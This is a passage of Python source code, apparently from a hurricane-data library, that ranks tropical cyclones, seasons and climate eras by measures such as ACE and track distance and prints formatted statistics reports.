None else \"\",\n season.year,\n rseason[season.year][\"tracks\"],\n rseason[season.year][\"landfall_TC\"],\n rseason[season.year][\"TSreach\"],\n rseason[season.year][\"HUreach\"],\n rseason[season.year][\"MHUreach\"],\n rseason[season.year][\"track_distance_TC\"],\n rseason[season.year][\"track_distance_TS\"] if \"track_distance\" in stattr else rseason[season.year][\"ACE\"] * math.pow(10,-4),\n rseason[season.year][\"track_distance_HU\"] if \"track_distance\" in stattr else rseason[season.year][\"HDP\"] * math.pow(10,-4),\n rseason[season.year][\"track_distance_MHU\"] if \"track_distance\" in stattr else rseason[season.year][\"MHDP\"] * math.pow(10,-4),\n ACELEN = 7.1 if \"track_distance\" in stattr else 7.3\n ))\n if current_rank is not None and current_rank not in printedqty:\n printedqty.append(current_rank)\n print(\"\")\n\n def rank_storms(self, quantity, stattr, year1=None, year2=None, coordextent=None, contains_method=\"anywhere\"):\n \"\"\"Rank and compare individual tropical cyclones to one another.\n\n Required Arguments:\n quantity: how long of a list of ranks do you want; an integer.\n stattr: the storm attribute that you'd like to rank seasons by.\n \n * Working Storm Attributes for ranking: \n \"track_distance_TC\", \"landfalls\", \"maxwind\", \"minmslp\",\n \"ACE\", \"track_distance_TS\", \"HDP\", \"track_distance_HU\",\n \"MHDP\", \"track_distance_MHU\"\n\n * The following attributes will not work because at the\n individual storm level these are bools:\n \"landfall_TC\", \"landfall_TD\", \"landfall_TS\", \"landfall_HU\",\n \"landfall_MHU\", \"TSreach\", \"HUreach\", \"MHUreach\",\n \"cat45reach\", \"cat5reach\"\n\n * Other attributes of class TropicalCyclone that are not\n mentioned here will work for ranking too, but their actual\n values will not display on the printed report.\n\n Default Arguments:\n year1 (None): begin year. If included, the indicated year will\n represent the low-end of years to assess. In the absence of\n the end-year, all years from this begin year to the end of the\n record-range will be used to determine ranking.\n year2 (None): end year. If included, the indicated year will\n represent the upper-end of years to assess. In the absence of\n the begin-year, all years from the start of the record-range\n to this indicated year will be used to determine ranking.\n coordextent (None): **EXPERIMENTAL** This accepts 2 tupled latitude\n and longitude coordinates, representing a geographical\n bounding-box. The use of this bounding-box is determined by the\n kwarg, contains_method. See the documentation for determination\n of use. The results from using these two arguments only\n indicates that the track of the storm identified *AT SOME\n POINT* tracked into this bounding-box. It in no way indicates\n that the ranked value occurred within.\n contains_method (\"anywhere\"): if a coordinate extent is included (see\n above), this default argument determines this method's\n strategy. The default of 'anywhere' implies that all matching\n storms will be further discriminated by whether or not any point of their track occurred within the bounding-box (coordextent). A value of \"start\" means if the start of the storm's track occurred in the bounding-box.\n\n Examples:\n ---------\n .rank_storms(10, \"ACE\"): Retrieve a report of tropical\n cyclones sorted by the top-10 values of Accumulated Cyclone\n Energy on record.\n .rank_storms(20, \"HDP\", 1967): Retrieve a report of tropical\n cyclones sorted by the top-20 values of Hurricane Destruction\n Potential since 1967 (the beginning of the satellite era).\n .rank_storms(5, \"minmslp\", 1901, 1940): Retrieve a report of the\n top-5 tropical cyclones with the lowest minimum pressure\n readings between 1901 and 1940.\n .rank_storms(10, \"maxwind\", coordextent=[(31,-98), (18,-80)])\n Retrieve a report of the top 10 storms, ranked by max-wind,\n whose genesis occurred in (roughly) the Gulf of Mexico.\n \"\"\"\n\n year1 = self.record_range[0] if year1 is None \\\n or year1 < self.record_range[0] else year1\n year2 = self.record_range[1] if year2 is None \\\n or year2 > self.record_range[1] else year2\n\n # List of tropical-cyclones sorted by stattr\n sorted_storms = sorted(\n [tc for tc in self.tc.values() if year1 <= tc.year <= year2],\n key=lambda tc: getattr(tc, stattr),\n reverse = False if stattr == \"minmslp\" else True\n )\n # Values sorted\n ranks = sorted(\n set([\n getattr(tc, stattr) for tc in sorted_storms \\\n if stattr == \"minmslp\" \\\n or getattr(tc, stattr) > 0\n ]),\n reverse = False if stattr == \"minmslp\" else True\n )[:quantity]\n\n # If bounding-box coords provided...\n if coordextent is not None:\n contains_method = contains_method.lower() # Ensure lowercase\n # Warning message\n if contains_method not in [\"start\", \"anywhere\"]:\n print(\n \"* Defaulting to 'anywhere' location method. The only \"\n \"valid values for the contains_method keyword argument \"\n \"are 'start' and 'anywhere'.\"\n )\n contains_method = \"anywhere\"\n # Just search starting point\n if contains_method == \"start\":\n sorted_storms = [\n TC for TC in sorted_storms if self.coord_contains(\n TC.entry[0].location,\n coordextent[0],\n coordextent[1]\n )\n ]\n # Any point within the bounding-box\n else:\n sorted_storms = [\n TC for TC in sorted_storms \\\n if any(\n self.coord_contains(\n entry.location,\n *coordextent\n ) for entry in TC.entry\n )\n ]\n ranks = sorted(\n set([\n getattr(TC, stattr) for TC in sorted_storms \\\n if stattr == \"minmslp\" \\\n or getattr(TC, stattr) > 0\n ]),\n reverse = False if stattr == \"minmslp\" else True\n )[:quantity]\n\n # List that holds printed quantities\n printedqty = []\n\n print(\"\")\n print(\"TOP {} STORMS RANKED BY {}\".format(\n len(ranks),\n stattr.upper()\n ).center(79))\n if coordextent is not None:\n print(\"{:^79}\".format(\n \"* Coordinate Bounding-Box: {}; {}\".format(\n \"{}{} {}{}\".format(\n abs(coordextent[0][0]),\n \"N\" if coordextent[1][0] >= 0 else \"S\",\n abs(coordextent[0][1]),\n \"W\" if -180 < coordextent[1][1] <= 0 else \"E\"\n ),\n \"{}{} {}{}\".format(\n abs(coordextent[1][0]),\n \"N\" if coordextent[1][0] >= 0 else \"S\",\n abs(coordextent[1][1]),\n \"W\" if -180 < coordextent[1][1] <= 0 else \"E\"\n )\n )\n ))\n\n print(\"{}{}\".format(\n str(self.basin()),\n \", {}-{}\".format(year1, year2)\n ).center(79))\n print(\"-\" * 79)\n\n print(\"{:^4} {:^10} {:^8} {:^4} {:^4} {:^4} {:^6} {:^22}\".format(\n \"\",\"\",\"\",\"LAND\",\"\",\"\",\"TCDIST\",\n \"STATUS-RELATED TRACK\" if \"track\" in stattr else \"ENERGY INDICES\"\n ))\n print(\"{:^4} {:^10} {:^8} {:^4} {:>4} {:>4} {:^6} {:^22}\".format(\n \"\",\"\",\"\",\"FALL\",\"MIN\",\"MAX\",\"TRVRSD\",\n \"DISTANCES (nmi)\" if \"track\" in stattr else \"x10^4 kt^2\"\n ))\n print(\"{:^4} {:<10} {:^8} {:<4} {:^4} {:^4} {:^6} {:^6} {:^6} {:^6}\".format(\n \"RANK\",\"NAME\",\"ATCFID\",\"QTY\",\"MSLP\",\"WIND\",\"(nmi)\",\n \"TRPCST\" if \"track\" in stattr else \"ACE\",\n \"HURRCN\" if \"track\" in stattr else \"HDP\",\n \"MAJHUR\" if \"track\" in stattr else \"MHDP\"\n ))\n print(\"{:-^4} {:-^10} {:-^8} {:-^4} {:-^4} {:-^4} {:-^6} {:-^6} {:-^6} {:-^6}\".format(\n \"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"\n ))\n\n for TC in sorted_storms:\n try:\n current_rank = ranks.index(getattr(TC, stattr)) + 1 \\\n if ranks.index(getattr(TC, stattr)) + 1 \\\n not in printedqty else None\n except:\n break\n print(\"{:>3}{:1} {:<10} {:8} {:^4} {:>4} {:>4} {:>6.1f} {:>{ACELEN}f} {:>{ACELEN}f} {:>{ACELEN}f}\".format(\n current_rank if current_rank is not None else \"\", \n \".\" if current_rank is not None else \"\",\n TC.name.title(),\n TC.atcfid,\n TC.landfalls,\n TC.minmslp if TC.minmslp is not None else \"N/A\",\n TC.maxwind if TC.maxwind > 0 else \"N/A\",\n TC.track_distance_TC,\n TC.track_distance_TS if \"track\" in stattr else TC.ACE * math.pow(10,-4),\n TC.track_distance_HU if \"track\" in stattr else TC.HDP * math.pow(10,-4),\n TC.track_distance_MHU if \"track\" in stattr else TC.MHDP * math.pow(10,-4),\n ACELEN = 6.1 if \"track\" in stattr else 6.3\n ))\n if current_rank is not None and current_rank not in printedqty:\n printedqty.append(current_rank)\n print(\"\")\n\n def rank_climo(self, quantity, stattr, year1=None, year2=None, descending=True, **climoparam):\n \"\"\"Rank and compare climatological eras to one another.\n\n Required Arguments:\n quantity: how long of a list of ranks do you want; an integer.\n stattr: the storm attribute that you'd like to rank seasons by.\n \n * Working Storm Attributes for ranking: \n \"track_distance_TC\", \"landfalls\", \"maxwind\", \"minmslp\",\n \"ACE\", \"track_distance_TS\", \"HDP\", \"track_distance_HU\",\n \"MHDP\", \"track_distance_MHU\"\n\n * The following attributes will not work because at the\n individual storm level these are bools:\n \"landfall_TC\", \"landfall_TD\", \"landfall_TS\", \"landfall_HU\",\n \"landfall_MHU\", \"TSreach\", \"HUreach\", \"MHUreach\",\n \"cat45reach\", \"cat5reach\"\n\n * Other attributes of class TropicalCyclone that are not\n mentioned here will work for ranking too, but their actual\n values will not display on the printed report.\n\n Default Arguments:\n year1 (None): begin year. If included, the indicated year will\n represent the low-end of years to assess. In the absence of\n the end-year, all years from this begin year to the end of the\n record-range will be used to determine ranking.\n year2 (None): end year. If included, the indicated year will\n represent the upper-end of years to assess. In the absence of\n the begin-year, all years from the start of the record-range\n to this indicated year will be used to determine ranking.\n descending (True): parallel bool used to determine reverse kw of\n sorted calls; whether results will be printed higher-to-lower\n or not.\n \n Optional Keyword Arguments (**climoparam):\n * These control Climatological Spans and Extents *\n climatology (30): the quantity of years that will be assessed per\n climate era.\n increment (5): the time (in years) between one climate era and the\n next (ex. 1981-2010, 1986-2015, etc).\n\n Examples:\n ---------\n .rank_climo(10,\"ACE\"): Retrieve the top 10 climate eras in the\n record that have the largest ACE (30yr climo; 5yr incremented)\n .rank_climo(20,\"track_distance_TC\", climatology=10, increment=1):\n Retrieve the top 20 10-year climatological eras (incremented by 1\n year) of accumulated tropical cyclone track-distance.\n \"\"\"\n climatology = climoparam.get(\"climatology\", 30)\n increment = climoparam.get(\"increment\", 5)\n\n year1 = self.record_range[0] if year1 is None \\\n or year1 < self.record_range[0] else year1\n year2 = self.record_range[1] if year2 is None \\\n or year2 > self.record_range[1] else year2\n\n Era = collections.namedtuple(\"Era\", [\"era\", stattr])\n\n climo = {} # dictionary to hold the climatology data\n\n for yr1, yr2 in [(y, y+climatology-1) \\\n for y in range(1801, year2, increment) \\\n if year1 <= y <= year2 \\\n and year1 <= y+climatology-1 <= year2]:\n climo[yr1, yr2] = Era(\n (yr1, yr2),\n sum(getattr(self.season[s], stattr) for s in range(yr1, yr2+1))\n )\n\n # List of tropical-cyclones sorted by stattr\n sorted_climo = sorted(\n [era for era in climo.values()],\n key=lambda era: getattr(era, stattr),\n reverse = descending\n )\n # Values sorted\n ranks = sorted(\n set([\n getattr(era, stattr) for era in sorted_climo \\\n if descending is False \\\n or getattr(era, stattr) > 0\n ]),\n reverse = descending\n )[:quantity]\n\n # Rank printed list\n printedqty = []\n\n print(\"\")\n print(\"{:^41}\".format(\n \"TOP {} CLIMATOLOGICAL PERIODS\".format(quantity)\n ))\n print(\"{:^41}\".format(\n \"RANKED BY {}\".format(stattr.upper())\n ))\n print(\"{}{}\".format(\n str(self.basin()),\n \", {}-{}\".format(year1, year2)\n ).center(41))\n\n print(\"{:-^41}\".format(\"\"))\n print(\"{:^41}\".format(\n \"{}-Year Climatologies; {}-Year Incremented\".format(\n climatology,\n increment\n )\n ))\n print(\"{:-^41}\".format(\"\"))\n print(\" {:^4} {:^9} {:^12}\".format(\n \"RANK\",\n \"PERIOD\",\n stattr.upper()\n ))\n print(\" {:-^4} {:-^9} {:-^12}\".format(\n \"\",\"\",\"\"\n ))\n for clmt in sorted_climo:\n try:\n current_rank = ranks.index(getattr(clmt, stattr)) + 1 \\\n if ranks.index(getattr(clmt, stattr)) + 1 \\\n not in printedqty else None\n except:\n break\n print(\" {:>4} {:9} {}\".format(\n \"{:>3}{:1}\".format(\n current_rank if current_rank is not None else \"\", \n \".\" if current_rank is not None else \"\"\n ),\n \"{}-{}\".format(*clmt.era),\n getattr(clmt,stattr)\n ))\n if current_rank is not None and current_rank not in printedqty:\n printedqty.append(current_rank)\n print(\"\")\n\n def _season_stats_str(self, seasonreq, year1, year2, rstart, rthru, width, **kw):\n strlist = []\n yr = seasonreq\n strlist.append(\"-\" * width)\n strlist.append(\"Tropical Cyclone Stats for {}\".format(yr).center(width))\n strlist.append(\n \"{}{}\".format(\n self.basin(),\n \"\"\n ).center(width)\n )\n strlist[-1] += \"\\n\"\n\n statyrline = \"Stats calculated for Seasons {}\".format(\n \"{}-{}\".format(\n year1,\n year2\n ) if year2 != self.record_range[1] \\\n else \"since {} ({} total seasons)\".format(\n year1,\n self.record_range[1] - year1 + 1\n )\n ).center(width)\n strlist.append(statyrline)\n\n if rstart != (1,1) or rthru != (12,31):\n strlist.append(\n \"from {} thru {}\".format(\n \"{} {}\".format(\n calendar.month_name[rstart[0]],\n rstart[1],\n ),\n \"{} {}\".format(\n calendar.month_name[rthru[0]],\n rthru[1],\n )\n ).center(width)\n )\n strlist[-1] += \"\\n\"\n for line in textwrap.wrap(\n \"* TS-related Statistics include Hurricanes in their totals\" \\\n \" except for landfall data\",\n width,\n initial_indent=\" \" * 4,\n subsequent_indent=\" \" * 4\n ):\n strlist.append(line.center(width))\n strlist[-1] += \"\\n\"\n if any(1971 <= y <= 1990 for y in range(year1, year2 + 1)):\n for line in textwrap.wrap(\n \"* Hurdat2 Landfall data incomplete for seasons 1971-1990\",\n width,\n initial_indent=\" \" * 4,\n subsequent_indent=\" \" * 4\n ):\n strlist.append(line.center(width))\n strlist.append(\"-\" * width)\n\n for attr, label in [\n (\"tracks\", \"Tropical Cyclones\"),\n (\"track_distance_TC\", \"TC Track Distance\"),\n (\"track_distance_TS\", \"TS Distance\"),\n (\"track_distance_HU\", \"HU Distance\"),\n (\"track_distance_MHU\", \"MHU Distance\"),\n (\"TSreach\", \"Tropical Storms\"),\n (\"ACE\", \"ACE\"),\n (\"HUreach\", \"Hurricanes\"),\n (\"HDP\", \"HDP\"),\n (\"MHUreach\", \"Major Hurricanes\"),\n (\"MHDP\", \"MHDP\"),\n (\"landfall_TC\", \"Total Landfalling TC's\"),\n (\"landfall_TS\", \"TS Landfalls\"),\n (\"landfall_HU\", \"HU Landfalls\")\n ]:\n if \"landfall\" not in attr or (\"landfall\" in attr and all(1971 <= y <= 1990 for y in range(year1, year2)) is False):\n rankinfo = self.rank_seasons_thru(\n 1337,\n attr,\n year1,\n year2,\n start = rstart,\n thru = rthru,\n descending=kw.get(\"descending\", True),\n info=yr\n )\n strlist.append('{:<35}Rank {}/{}{}'.format(\n \"* {}: {}{} \".format(\n label,\n \"{:.1f}\".format(rankinfo[\"seasonvalu\"]) \\\n if \"distance\" in attr \\\n else (\"{:.1f}\".format(rankinfo[\"seasonvalu\"] * 10 ** (-4)) \\\n if attr in [\"ACE\", \"HDP\", \"MHDP\"] \\\n else rankinfo[\"seasonvalu\"]\n ),\n \" nmi\" if \"track_distance\" in attr \\\n else (\" * 10^4 kt^2\" \\\n if attr in [\"ACE\", \"HDP\", \"MHDP\"] else \"\"\n ),\n ),\n rankinfo[\"rank\"],\n rankinfo[\"outof\"],\n \" (tied w/{} other season{})\".format(\n rankinfo[\"tied\"],\n \"s\" if rankinfo[\"tied\"] >= 2 else \"\"\n ) if rankinfo[\"tied\"] > 0 else \"\"\n ))\n strlist.append(\"\\n\")\n return \"\\n\".join(strlist)\n\n def _season_stats(self, seasonreq, year1, year2, rstart, rthru, width, **kw):\n\n yr = seasonreq\n\n print(\"\")\n print(\"-\" * width)\n print(\"Tropical Cyclone Stats for {}\".format(yr).center(width))\n print(\"{}{}\".format(\n self.basin(),\n \"\"\n ).center(width)\n )\n print(\"\")\n for line in textwrap.wrap(\n \"Stats calculated for Seasons {}\".format(\n \"{}-{}\".format(\n year1,\n year2\n ) if year2 != self.record_range[1] \\\n else \"since {} ({} total seasons)\".format(\n year1,\n self.record_range[1] - year1 + 1\n )\n ),\n width,\n initial_indent=\" \" * 4,\n subsequent_indent=\" \" * 4):\n print(line.center(width))\n if rstart != (1,1) or rthru != (12,31):\n print(\n \"from {} thru {}\".format(\n \"{} {}\".format(\n calendar.month_name[rstart[0]],\n rstart[1],\n ),\n \"{} {}\".format(\n calendar.month_name[rthru[0]],\n rthru[1],\n )\n ).center(width)\n )\n print(\"\")\n for line in textwrap.wrap(\n \"* TS-related Statistics include Hurricanes in their totals\" \\\n \" except for landfall data\",\n width,\n initial_indent=\" \" * 4,\n subsequent_indent=\" \" * 4):\n print(line.center(width))\n\n print(\"\")\n # Only print this disclaimer if years in this range overlap\n if any(1971 <= y <= 1990 for y in range(year1, year2 + 1)):\n for line in textwrap.wrap(\n \"* Hurdat2 Landfall data incomplete for seasons 1971-1990\",\n width,\n initial_indent=\" \" * 4,\n subsequent_indent=\" \" * 4):\n print(line.center(width))\n print(\"-\" * width)\n\n for attr, label in [\n (\"tracks\", \"Tropical Cyclones\"),\n (\"track_distance_TC\", \"TC Track Distance\"),\n (\"track_distance_TS\", \"TS Distance\"),\n (\"track_distance_HU\", \"HU Distance\"),\n (\"track_distance_MHU\", \"MHU Distance\"),\n (\"TSreach\", \"Tropical Storms\"),\n (\"ACE\", \"ACE\"),\n (\"HUreach\", \"Hurricanes\"),\n (\"HDP\", \"HDP\"),\n (\"MHUreach\", \"Major Hurricanes\"),\n (\"MHDP\", \"MHDP\"),\n (\"landfall_TC\", \"Total Landfalling TC's\"),\n (\"landfall_TS\", \"TS Landfalls\"),\n (\"landfall_HU\", \"HU Landfalls\")\n ]:\n if \"landfall\" not in attr or (\"landfall\" in attr and all(1971 <= y <= 1990 for y in range(year1, year2)) is False):\n rankinfo = self.rank_seasons_thru(\n 1337,\n attr,\n year1,\n year2,\n start = rstart,\n thru = rthru,\n descending=kw.get(\"descending\", True),\n info=yr\n )\n print('{:<35}Rank {}/{}{}'.format(\n \"* {}: {}{} \".format(\n label,\n \"{:.1f}\".format(rankinfo[\"seasonvalu\"]) \\\n if \"distance\" in attr \\\n else (\"{:.1f}\".format(rankinfo[\"seasonvalu\"] * 10 ** (-4)) \\\n if attr in [\"ACE\", \"HDP\", \"MHDP\"] \\\n else rankinfo[\"seasonvalu\"]\n ),\n \" nmi\" if \"track_distance\" in attr \\\n else (\" * 10^4 kt^2\" \\\n if attr in [\"ACE\", \"HDP\", \"MHDP\"] else \"\"\n ),\n ),\n rankinfo[\"rank\"],\n rankinfo[\"outof\"],\n \" (tied w/{} other season{})\".format(\n rankinfo[\"tied\"],\n \"s\" if rankinfo[\"tied\"] >= 2 else \"\"\n ) if rankinfo[\"tied\"] > 0 else \"\"\n ))\n print(\"\")\n\nclass SeasonCalculations:\n\n @property\n def start_date(self):\n \"\"\"The <> of the start of the season.\"\"\"\n return self.tc_entries[0].entrytime\n\n @property\n def start_ordinal(self):\n \"\"\"The day-number (1-365) of the year that the start of the season took\n place.\n \"\"\"\n return self.start_date.replace(year=1).toordinal()\n\n @property\n def end_date(self):\n \"\"\"The <> of the end of the season.\"\"\"\n last_tc_en = self.tc_entries[-1]\n return last_tc_en.next_entry.entrytime \\\n if last_tc_en.next_entry is not None \\\n else last_tc_en.entrytime\n\n @property\n def end_ordinal(self):\n \"\"\"The day-number (1-365) of the year that the end of the season\n occurred.\n\n In the event that the day number exceeds 365, it generally means that\n the season extended into the following year.\n \"\"\"\n end = self.end_date.replace(year=1).toordinal()\n # protect against seasons that extend into the following year\n if end <= self.start_ordinal:\n return self.end_date.replace(year=2).toordinal()\n else:\n return end\n\n @property\n def duration(self):\n \"\"\"Returns the duration of the season in days.\n\n This is calculated using the .start_date and .end_date for the season\n \"\"\"\n tdelta = self.end_date - self.start_date\n # return all_times[-1] - all_times[0]\n return tdelta.days + tdelta.seconds / 86400\n\n @property\n def track_distance(self):\n \"\"\"Returns the accumulated track distances (in nmi) of all systems\n during the season, regardless of the systems' status.\n \"\"\"\n return sum(tcyc.track_distance for tcyc in self.tc.values())\n\n @property\n def track_distance_TC(self):\n \"\"\"Returns the accumulated track distances (in nmi) of all systems\n during the season, while the systems were designated as tropical\n cyclones (\"SD\",\"SS\",\"TD\",\"TS\",\"HU\").\n \"\"\"\n return sum(tcyc.track_distance_TC for tcyc in self.tc.values())\n\n @property\n def ACE(self):\n \"\"\"Returns the accumulated cyclone energy (ACE) for the entire season,\n being the sum of all individual tropical cyclone ACE's.\n \"\"\"\n return sum(tcyc.ACE for tcyc in self.tc.values())\n\n @property\n def track_distance_TS(self):\n \"\"\"Returns the sum of track distances (in nmi) of all tropical\n cyclones while they were designated as at-least tropical storms (SS,\n TS, or HU).\n \"\"\"\n return sum(tcyc.track_distance_TS for tcyc in self.tc.values())\n\n @property\n def HDP(self):\n \"\"\"Returns the hurricane destruction potential (HDP) for the entire\n season, being the sum of all individual tropical cyclone HDP's.\n \"\"\"\n return sum(tcyc.HDP for tcyc in self.tc.values())\n\n @property\n def track_distance_HU(self):\n \"\"\"Returns the sum of track distances (in nmi) of all tropical\n cyclones while they were of hurricane status.\n \"\"\"\n return sum(tcyc.track_distance_HU for tcyc in self.tc.values())\n\n @property\n def MHDP(self):\n \"\"\"Returns the major hurricane destruction potential (MHDP) for the\n entire season, being the sum of all individual tropical cyclone MHDP's.\n \"\"\"\n return sum(tcyc.MHDP for tcyc in self.tc.values())\n\n @property\n def track_distance_MHU(self):\n \"\"\"Returns the sum of track distances (in nmi) of all tropical\n cyclones when the storms were designated as major hurricanes.\n \"\"\"\n return sum(tcyc.track_distance_MHU for tcyc in self.tc.values())\n\nclass TropicalCycloneCalculations:\n\n @property\n def start_date(self):\n \"\"\"The <> of the birth of the tropical cyclone.\"\"\"\n return self.tc_entries[0].entrytime \\\n if len(self.tc_entries) > 0 else None\n\n @property\n def start_ordinal(self):\n \"\"\"\n The day-number (1-365) of the year that the birth of the tropical\n cyclone took place.\n \"\"\"\n return self.tc_entries[0].entrytime.replace(year=1).toordinal() \\\n if len(self.tc_entries) > 0 else None\n\n @property\n def end_date(self):\n \"\"\"The <> where the storm became post-tropical.\"\"\"\n if len(self.tc_entries) > 0:\n return self.tc_entries[-1].next_entry.entrytime \\\n if self.tc_entries[-1].next_entry is not None \\\n else self.tc_entries[-1].entrytime\n else:\n return None\n\n @property\n def end_ordinal(self):\n \"\"\"\n The day-number (1-365) of the year that the tropical cyclone became\n post-tropical.\n\n In the event that the day number exceeds 365, it generally means that\n the tropical storm didn't become post-tropical until the following\n year.\n \"\"\"\n if len(self.tc_entries) > 0:\n end = self.end_date.replace(year=1).toordinal()\n # protect against seasons that extend into the following year\n if end <= self.start_ordinal:\n return self.end_date.replace(year=2).toordinal()\n else:\n return end\n else:\n return None\n\n @property\n def duration(self):\n \"\"\"\n The track duration in days; simply the end time minus the beginning\n time. In essence, this variable disregards the status of the storm.\n\n For more substantive properties, try duration_ for\n aggregated measurements as storms can lose and regain statuses\n \"\"\"\n\n return (self.entry[-1].entrytime - self.entry[0].entrytime).days \\\n + (self.entry[-1].entrytime - self.entry[0].entrytime).seconds / 86400\n\n @property\n def track_distance(self):\n \"\"\"Returns the distance (in nmi) traversed by the system, regardless of\n status (whether or not the system is designated as a tropical cyclone).\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self.entry\n if en.previous_entry is not None\n )\n\n @property\n def duration_TC(self):\n \"\"\"\n This is the total time that a storm was a designated tropical cyclone.\n\n * Of note * A storm can lose previous tropical cyclone status but\n regain it. For the Atlantic Hurdat2, this occurs in around 2.6% of\n storms, but almost 8% of storms since the year 2000. So if one compares\n track life versus this duration property, it isn't out of the question\n that they'll be different. See Hurricane Ivan (2004) as a prime\n example.\n \"\"\"\n\n totes = sum(\n (en.next_entry.entrytime - en.entrytime).days\n + (en.next_entry.entrytime - en.entrytime).seconds / 86400\n if en.next_entry is not None\n and en.is_TC\n else 0\n for en in self.entry\n )\n\n return totes\n\n @property\n def track_distance_TC(self):\n \"\"\"The distance (in nmi) trekked by the system when a designated\n tropical cyclone (status as a tropical or sub-tropical depression, a\n tropical or sub-tropical storm, or a hurricane).\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self.entry\n if en.previous_entry is not None\n and en.previous_entry.is_TC\n )\n\n @property\n def ACE(self):\n \"\"\"Returns the tropical cyclone's Accumulated Cyclone Energy (ACE).\n\n Using values from required observations (0Z, 6Z, 12Z, and 18Z), this\n variable is \"calculated by summing the squares of the estimated\n 6-hourly maximum sustained surface wind speed in knots for all periods\n while the system is either a tropical storm or hurricane.\" (G. Bell,\n M. Chelliah. Journal of Climate. Vol. 19, Issue 4. pg 593. 15 February\n 2006.). \n\n Because sub-tropical storms (SS) still have some tropical\n characteristics, their values are included as well. Regardless of the\n case for or against, note that it is a very small contribution. Using\n the Atlantic Hurdat2 Database as an example, when included in the\n calculation (using only storms since 1968, as that is when the SS\n designation first appears in the Atlantic HURDAT2), only around 2.5% of ACE\n contribution has occurred from sub-tropical storms.\n \"\"\"\n return sum(\n math.pow(en.wind,2) for en in self.entry\n if en.wind >= 34\n and en.is_synoptic\n and en.status in (\"SS\",\"TS\",\"HU\")\n )\n\n @property\n def perc_ACE(self):\n \"\"\"The percent (decimal form) of total season ACE contributed by this\n storm.\n \"\"\"\n if self._season.ACE > 0:\n return self.ACE / self._season.ACE\n else:\n return 0\n\n @property\n def duration_TS(self):\n \"\"\"\n This is the total time that a storm was designated at least a tropical\n storm.\n \"\"\"\n\n totes = sum(\n (en.next_entry.entrytime - en.entrytime).days\n + (en.next_entry.entrytime - en.entrytime).seconds / 86400\n if en.next_entry is not None\n and en.status in [\"SS\", \"TS\", \"HU\"]\n else 0\n for en in self.entry\n )\n\n return totes\n\n @property\n def track_distance_TS(self):\n \"\"\"The distance (in nmi) trekked by the system while a tropical storm\n or hurricane.\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self.entry\n if en.previous_entry is not None\n and en.previous_entry.status in [\"SS\", \"TS\", \"HU\"]\n )\n\n @property\n def track_TS_perc_TC(self):\n \"\"\"Returns the system's tropical storm track-distance divided by its \n tropical cyclone track-distance.\n\n This value represents the proportional distance of a storm that\n occurred while it was at-least a tropical storm compared to when it was\n a designated tropical cyclone.\n\n None will be returned if track_distance_TC == 0\n \"\"\"\n if self.track_distance_TC != 0:\n return round(self.track_distance_HU / self.track_distance_TC,2)\n else:\n return None\n\n @property\n def ACE_per_nmi(self):\n \"\"\"Returns the Accumulated Cyclone Energy (ACE) divided by the\n systems's track-distance when it was at-least a tropical storm.\n \"\"\"\n return self.ACE / self.track_distance_TS if self.track_distance_TS > 0 else 0\n\n @property\n def ACE_no_landfall(self):\n \"\"\"Returns the ACE of the storm prior to any landfall made (if\n applicable).\n \"\"\"\n\n ace_no_lf = 0\n for en in self.entry:\n if en.record_identifier == \"L\":\n break\n if en.wind >= 34 \\\n and en.is_synoptic \\\n and en.status in (\"SS\",\"TS\",\"HU\"):\n ace_no_lf += math.pow(en.wind, 2)\n return ace_no_lf\n\n @property\n def HDP(self):\n \"\"\"Returns the tropical cyclone's Hurricane Destruction Potential\n (HDP).\n\n Using values from required observations (0Z, 6Z, 12Z, and 18Z), this\n variable is \"calculated by summing the squares of the estimated\n 6-hourly maximum sustained wind speed for all periods in which the\n system is a hurricane.\" (Bell, et. al. Climate Assessment for 1999.\n Bulletin of the American Meteorological Society. Vol 81, No. 6. June\n 2000. S19.)\n \"\"\"\n return sum(\n math.pow(en.wind, 2) for en in self.entry\n if en.wind >= 64\n and en.is_synoptic\n and en.status == \"HU\"\n )\n\n @property\n def perc_HDP(self):\n \"\"\"The percent (decimal form) of total season HDP contributed by this\n storm.\n \"\"\"\n if self._season.HDP > 0:\n return self.HDP / self._season.HDP\n else:\n return 0\n\n @property\n def duration_HU(self):\n \"\"\"\n This is the total time that a storm was designated at a hurricane.\n \"\"\"\n\n totes = sum(\n (en.next_entry.entrytime - en.entrytime).days\n + (en.next_entry.entrytime - en.entrytime).seconds / 86400\n if en.next_entry is not None\n and en.status == \"HU\"\n else 0\n for en in self.entry\n )\n\n return totes\n\n @property\n def track_distance_HU(self):\n \"\"\"The distance (in nmi) trekked by the system while a hurricane.\"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self.entry\n if en.previous_entry is not None\n and en.previous_entry.status == \"HU\"\n )\n\n @property\n def HDP_per_nmi(self):\n \"\"\"Returns the system's Hurricane Destruction Potential (HDP) divided\n by the systems's track-distance when it was a hurricane.\n \"\"\"\n\n return self.HDP / self.track_distance_HU if self.track_distance_HU > 0 else 0\n\n @property\n def HDP_perc_ACE(self):\n \"\"\"Returns the system's HDP divided by its ACE.\n\n This is the value (0 is lowest; 1 highest) representing how much\n contribution to ACE was made while a system was designated as a\n hurricane.\n\n return None will occur if ACE is 0 for the system.\n \"\"\"\n if self.ACE != 0: return round(self.HDP / self.ACE,2)\n else: return None\n\n @property\n def track_HU_perc_TC(self):\n \"\"\"Returns the system's hurricane track-distance divided by its\n tropical cyclone track-distance\n\n This value represents the proportional distance of a storm that\n occurred while it was a hurricane compared to when it was a designated\n tropical cyclone.\n\n None will be returned if track_distance_TC == 0\n \"\"\"\n if self.track_distance_TC != 0:\n return round(self.track_distance_HU / self.track_distance_TC,2)\n else:\n return None\n\n @property\n def track_HU_perc_TS(self):\n \"\"\"Returns the system's hurricane track-distance divided by its\n tropical storm track-distance.\n\n This value represents the proportional distance of a storm that\n occurred while it was a hurricane compared to when it was at-least a\n tropical storm.\n\n None will be returned if track_distance_TS == 0\n \"\"\"\n if self.track_distance_TS != 0:\n return round(self.track_distance_HU / self.track_distance_TS,2)\n else:\n return None\n\n @property\n def MHDP(self):\n \"\"\"Returns the tropical cyclone's Major Hurricane Destruction Potential\n (MHDP).\n\n This inclusion of this variable is merely an extension of the\n definitions of ACE and HDP, which are widely referenced indices. This\n takes the logic of those definitions and applies it only to major-\n hurricanes (max-wind >= 96kts).\n \"\"\"\n return sum(\n math.pow(en.wind, 2) for en in self.entry\n 